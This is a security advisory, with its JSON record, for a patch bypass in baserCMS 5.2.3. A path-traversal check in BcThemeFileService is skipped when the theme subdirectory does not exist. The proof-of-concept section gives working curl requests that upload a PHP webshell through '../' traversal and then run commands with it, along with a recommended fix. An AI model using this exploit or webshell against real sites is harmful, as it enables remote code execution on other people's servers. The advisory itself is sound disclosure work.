GHSA-2PJ4-V76F-WJVX

Vulnerability from github – Published: 2026-11-20 00:17 – Updated: 2026-11-20 00:17
VLAI
Summary
baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)
Details

Summary

The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.

An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.

This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).

Details

The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...build $baseDir and $fullPath from $theme, $type, $path...
    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/
    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/

    $resolvedBase = realpath($baseDir);
    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent
        $resolvedBase = rtrim($resolvedBase, DS) . DS;
        $targetDir = realpath(dirname($fullPath));
        if ($targetDir === false) {
            $targetDir = $this->normalizePath(dirname($fullPath));
        }
        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
        }
    }

    return $fullPath;   // ← Returns unvalidated path when realpath returns false
}

Root cause — the bypass condition:

realpath($baseDir) result Behavior
Valid path string (dir exists) Validation runs → ../ traversal blocked ✓
false (dir does not exist) Validation skipped entirely → ../ traversal allowed ✗

Difference from CVE-2026-30940 (original bug):

CVE-2026-30940 (≤ 5.2.2) This bypass (5.2.3)
Validation None at all realpath() check — but conditional
type needed Any valid type (layout, cell, …) Must map to a non-existent subdirectory
path blocked Never Only when target dir already exists
Root cause Missing validation if ($resolvedBase !== false) skips false case

PoC

Prerequisites: - baserCMS 5.2.3 (the officially patched version of CVE-2026-30940) - Admin credentials - USE_CORE_ADMIN_API=true in .env - BcThemeFile plugin installed and BcThemeSample theme loaded

Step 1 — Login and obtain JWT token:

curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}

Step 2 — Verify bypass condition (webroot/js/ must not exist):

The bypass requires type=js to map to a non-existent directory. Confirm:

# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css  img   (no js/)

Step 3 — Exploit: write PHP webshell directly to webroot:

Path calculation from baseDir = .../BcThemeSample/webroot/js/: - js/ (1 up) → webroot/ - webroot/ (2 up) → BcThemeSample/ - BcThemeSample/ (3 up) → plugins/ - plugins/ (4 up) → /var/www/html/ + webroot/ - Result: ../../../../webroot/ → /var/www/html/webroot/

TOKEN="eyJ0eXA..."   # from step 1

curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}

Step 4 — Execute RCE:

curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Verified output (Docker, baserCMS 5.2.3):

=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Impact

An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including webroot/, config/, or tmp/. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.

The vulnerability is particularly significant because:

  1. Patch bypass: Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.
  2. Arbitrary directory write: The bypass allows writing to webroot/ (directly HTTP-accessible), config/ (application configuration), or any other directory writable by the PHP process.
  3. File deletion and overwrite: Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.
  4. One-shot per non-existent directory: The exploit creates the target directory as a side effect. Rotating to other unused type values (e.g., font, audio, any arbitrary string) restores the bypass condition.

CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — Score: 7.2 (High)
Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.

Recommended Fix

The patch must validate the path unconditionally, regardless of whether $baseDir exists on disk. Replace the realpath()-conditional block with normalizePath() (already defined in the same class):

// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
    // ... validation only runs here ...
}
return $fullPath;

// FIXED — always validate using normalizePath()
$normalizedBase   = rtrim($this->normalizePath($baseDir),            DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)),  DS) . DS;

if (!str_starts_with($normalizedTarget, $normalizedBase)) {
    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;

Additionally, the path and ext parameters should be validated at the API controller layer:

// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
    throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
    throw new BcException('Invalid extension.');
}

References

Attribution

Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "baserproject/baser-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62955"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-20T00:17:47Z",
    "nvd_published_at": "2026-11-19T21:18:03Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / [GHSA-c5c6-37vq-pjcq](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq) is **incomplete**. The patch added a `realpath()`-based directory traversal check in `BcThemeFileService::getFullpath()`, but the check is **entirely skipped** when `realpath($baseDir)` returns `false` \u2014 which occurs whenever the target subdirectory does not physically exist on disk.\n\nAn authenticated administrator can bypass the patch by supplying a `type` value (e.g., `js`) that maps to a non-existent directory in the theme. The absence of the directory causes `realpath()` to return `false`, the validation block is skipped, and the raw `path` parameter containing `../` sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) \u2014 the exact same impact as the original CVE.\n\n**This vulnerability was verified exploitable on baserCMS 5.2.3 (the \"patched\" version of CVE-2026-30940).**\n\n### Details\n\nThe vulnerability exists in `BcThemeFileService::getFullpath()` at [`plugins/bc-theme-file/src/Service/BcThemeFileService.php` lines 70\u201382](https://github.com/baserproject/basercms/blob/5.2.x/plugins/bc-theme-file/src/Service/BcThemeFileService.php#L70):\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n    // ...build $baseDir and $fullPath from $theme, $type, $path...\n    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/\n    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/\n\n    $resolvedBase = realpath($baseDir);\n    if ($resolvedBase !== false) {           // \u2190 BYPASS: entire block skipped when dir absent\n        $resolvedBase = rtrim($resolvedBase, DS) . DS;\n        $targetDir = realpath(dirname($fullPath));\n        if ($targetDir === false) {\n            $targetDir = $this-\u003enormalizePath(dirname($fullPath));\n        }\n        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {\n            throw new BcException(__d(\u0027baser_core\u0027, \u0027\u30d1\u30b9\u306b\u30c6\u30fc\u30de\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u3078\u306e\u53c2\u7167\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u0027));\n        }\n    }\n\n    return $fullPath;   // \u2190 Returns unvalidated path when realpath returns false\n}\n```\n\n**Root cause \u2014 the bypass condition:**\n\n| `realpath($baseDir)` result | Behavior |\n|-----------------------------|----------|\n| Valid path string (dir **exists**) | Validation runs \u2192 `../` traversal **blocked** \u2713 |\n| `false` (dir does **not** exist) | Validation **skipped entirely** \u2192 `../` traversal **allowed** \u2717 |\n\n**Difference from CVE-2026-30940 (original bug):**\n\n| | CVE-2026-30940 (\u2264 5.2.2) | This bypass (5.2.3) |\n|--|--|--|\n| Validation | None at all | `realpath()` check \u2014 but conditional |\n| `type` needed | Any valid type (`layout`, `cell`, \u2026) | Must map to a **non-existent** subdirectory |\n| `path` blocked | Never | Only when target dir already exists |\n| Root cause | Missing validation | `if ($resolvedBase !== false)` skips false case |\n\n### PoC\n\n**Prerequisites:**\n- baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)\n- Admin credentials\n- `USE_CORE_ADMIN_API=true` in `.env`\n- BcThemeFile plugin installed and BcThemeSample theme loaded\n\n**Step 1 \u2014 Login and obtain JWT token:**\n\n```bash\ncurl -s -X POST \"http://localhost/baser/api/admin/baser-core/users/login.json\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@example.com\",\"password\":\"password\"}\u0027\n# Response: {\"access_token\":\"eyJ0eXA...\",\"refresh_token\":\"eyJ0eXA...\"}\n```\n\n**Step 2 \u2014 Verify bypass condition (webroot/js/ must not exist):**\n\nThe bypass requires `type=js` to map to a non-existent directory. Confirm:\n\n```bash\n# webroot/js/ does NOT exist \u2192 realpath() returns false \u2192 validation SKIPPED\nls plugins/BcThemeSample/webroot/\n# Expected output: css  img   (no js/)\n```\n\n**Step 3 \u2014 Exploit: write PHP webshell directly to webroot:**\n\nPath calculation from `baseDir = .../BcThemeSample/webroot/js/`:\n- `js/` (1 up) \u2192 `webroot/`\n- `webroot/` (2 up) \u2192 `BcThemeSample/`\n- `BcThemeSample/` (3 up) \u2192 `plugins/`\n- `plugins/` (4 up) \u2192 `/var/www/html/` + `webroot/`\n- Result: `../../../../webroot/` \u2192 `/var/www/html/webroot/`\n\n```bash\nTOKEN=\"eyJ0eXA...\"   # from step 1\n\ncurl -s -X POST \"http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"theme\":    \"BcThemeSample\",\n    \"plugin\":   \"\",\n    \"type\":     \"js\",\n    \"path\":     \"../../../../webroot/\",\n    \"base_name\":\"rce_direct\",\n    \"ext\":      \"php\",\n    \"contents\": \"\u003c?php echo shell_exec($_GET[\\\"c\\\"]); ?\u003e\"\n  }\u0027\n# Response: HTTP 200 {\"message\":\"\u30d5\u30a1\u30a4\u30eb\u300crce_direct.php\u300d\u3092\u4f5c\u6210\u3057\u307e\u3057\u305f\u3002\",...}\n```\n\n**Step 4 \u2014 Execute RCE:**\n\n```bash\ncurl \"http://localhost/rce_direct.php?c=id\"\n# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n\n**Verified output (Docker, baserCMS 5.2.3):**\n\n```\n=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)\n```\n### Impact\n\nAn authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server \u2014 including `webroot/`, `config/`, or `tmp/`. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.\n\nThe vulnerability is particularly significant because:\n\n1. **Patch bypass:** Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.\n2. **Arbitrary directory write:** The bypass allows writing to `webroot/` (directly HTTP-accessible), `config/` (application configuration), or any other directory writable by the PHP process.\n3. **File deletion and overwrite:** Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.\n4. **One-shot per non-existent directory:** The exploit creates the target directory as a side effect. Rotating to other unused `type` values (e.g., `font`, `audio`, any arbitrary string) restores the bypass condition.\n\n**CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` \u2014 Score: **7.2 (High)**  \nSame as CVE-2026-30940 \u2014 attack complexity is unchanged by the incomplete patch.\n\n### Recommended Fix\n\nThe patch must validate the path **unconditionally**, regardless of whether `$baseDir` exists on disk. Replace the `realpath()`-conditional block with `normalizePath()` (already defined in the same class):\n\n```php\n// CURRENT (vulnerable \u2014 skips validation when $baseDir does not exist)\n$resolvedBase = realpath($baseDir);\nif ($resolvedBase !== false) {\n    // ... validation only runs here ...\n}\nreturn $fullPath;\n\n// FIXED \u2014 always validate using normalizePath()\n$normalizedBase   = rtrim($this-\u003enormalizePath($baseDir),            DS) . DS;\n$normalizedTarget = rtrim($this-\u003enormalizePath(dirname($fullPath)),  DS) . DS;\n\nif (!str_starts_with($normalizedTarget, $normalizedBase)) {\n    throw new BcException(__d(\u0027baser_core\u0027, \u0027\u30d1\u30b9\u306b\u30c6\u30fc\u30de\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u5916\u3078\u306e\u53c2\u7167\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u0027));\n}\nreturn $fullPath;\n```\n\nAdditionally, the `path` and `ext` parameters should be validated at the API controller layer:\n\n```php\n// In ThemeFilesController \u2014 validate before calling getFullpath()\nif (preg_match(\u0027/\\.\\./\u0027, $data[\u0027path\u0027])) {\n    throw new BcException(\u0027Invalid path parameter.\u0027);\n}\nif (!preg_match(\u0027/^[a-zA-Z0-9]+$/\u0027, $data[\u0027ext\u0027])) {\n    throw new BcException(\u0027Invalid extension.\u0027);\n}\n```\n\n### References\n\n- [GHSA-c5c6-37vq-pjcq \u2014 Original CVE-2026-30940 advisory](https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq)\n- [CWE-22: Path Traversal](https://cwe.mitre.org/data/definitions/22.html)\n- [CWE-706: Use of Incorrectly-Resolved Name or Reference](https://cwe.mitre.org/data/definitions/706.html)\n- [OWASP Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n- `plugins/bc-theme-file/src/Service/BcThemeFileService.php` \u2014 `getFullpath()`, lines 70\u201382\n- `plugins/bc-theme-file/src/Form/ThemeFileForm.php` \u2014 `_execute()`, lines 64\u201369\n- `plugins/bc-theme-file/src/Controller/Api/Admin/ThemeFilesController.php` \u2014 `add()`, lines 38\u201360\n\n### Attribution\nReported by Nguy Minh Tuan of Sun* Cyber Security Research Team.",
  "id": "GHSA-2pj4-v76f-wjvx",
  "modified": "2026-11-20T00:17:47Z",
  "published": "2026-11-20T00:17:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/security/advisories/GHSA-2pj4-v76f-wjvx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/commit/464227b8770704076ee6eddd4bd464c184786eca"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/commit/c650017acf5dfbfd15eb2f3eda07967bcb002be2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/bc-theme-file/commit/a8f90096f13eca576a87cb25aa02e8f54642af7e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/baserproject/basercms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/baserproject/basercms/releases/tag/5.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)"
}



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